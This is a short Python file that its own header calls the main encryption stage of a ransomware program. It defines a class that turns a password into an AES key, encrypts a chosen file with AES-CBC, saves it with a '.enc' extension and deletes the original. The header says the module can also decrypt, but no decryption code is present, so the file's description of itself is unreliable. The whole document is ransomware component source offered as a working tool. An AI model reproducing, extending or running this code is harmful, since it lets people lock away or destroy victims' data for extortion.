#!/usr/bin/python3
#Self Written Module to Encrypt/Decrypt Files
#Module takes to Argument i.e. "KEY" & "FILE_PATH"
#=========================================================
#This Module is Written to Execute Stage3 [Main] of Ransomeware
#=========================================================
# Stage1
# |____*****TAKES 2 ARGUMENTS, i.e. KEY & LIST of Sensitive Files*****
# |____Initiate Encryption Process
# |____Able to Decrypt Files Too Using Same KEY
from Crypto import Random
from Crypto.Cipher import AES
import os
import hashlib, base64
class Encryptor:
def __init__(self, key, file_name):
self.key = hashlib.sha256(key.encode('utf-8')).digest()
self.file_name = file_name
def pad(self, s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
def encrypt(self, message, key, key_size=256):
message = self.pad(message)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(message)
def encrypt_file(self):
with open(self.file_name, 'rb') as fo:
plaintext = fo.read()
enc = self.encrypt(plaintext, self.key)
with open(self.file_name + ".enc", 'wb') as fo:
fo.write(enc)
os.remove(self.file_name)
if __name__ == '__main__':
choice = input("Sure Want to Encrypt Files (y/n): ")
key = input("\nEnter Key : ")
path = input("\nEnter Path of File : ")
if choice.lower() == 'y':
print("\n[*] Initiating Encryption Process ...")
test = Encryptor(key, path)
test.encrypt_file()
print("\n[+] Process Completed Successfully!")
else:
print("Invalid Argument :(")
